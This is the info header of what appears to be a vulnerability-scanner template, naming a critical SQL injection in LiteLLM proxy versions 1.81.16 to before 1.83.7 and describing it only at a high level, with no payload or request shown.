info:
  name: "LiteLLM - SQL Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to
    before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value
    into the query text instead of passing it as a separate parameter.
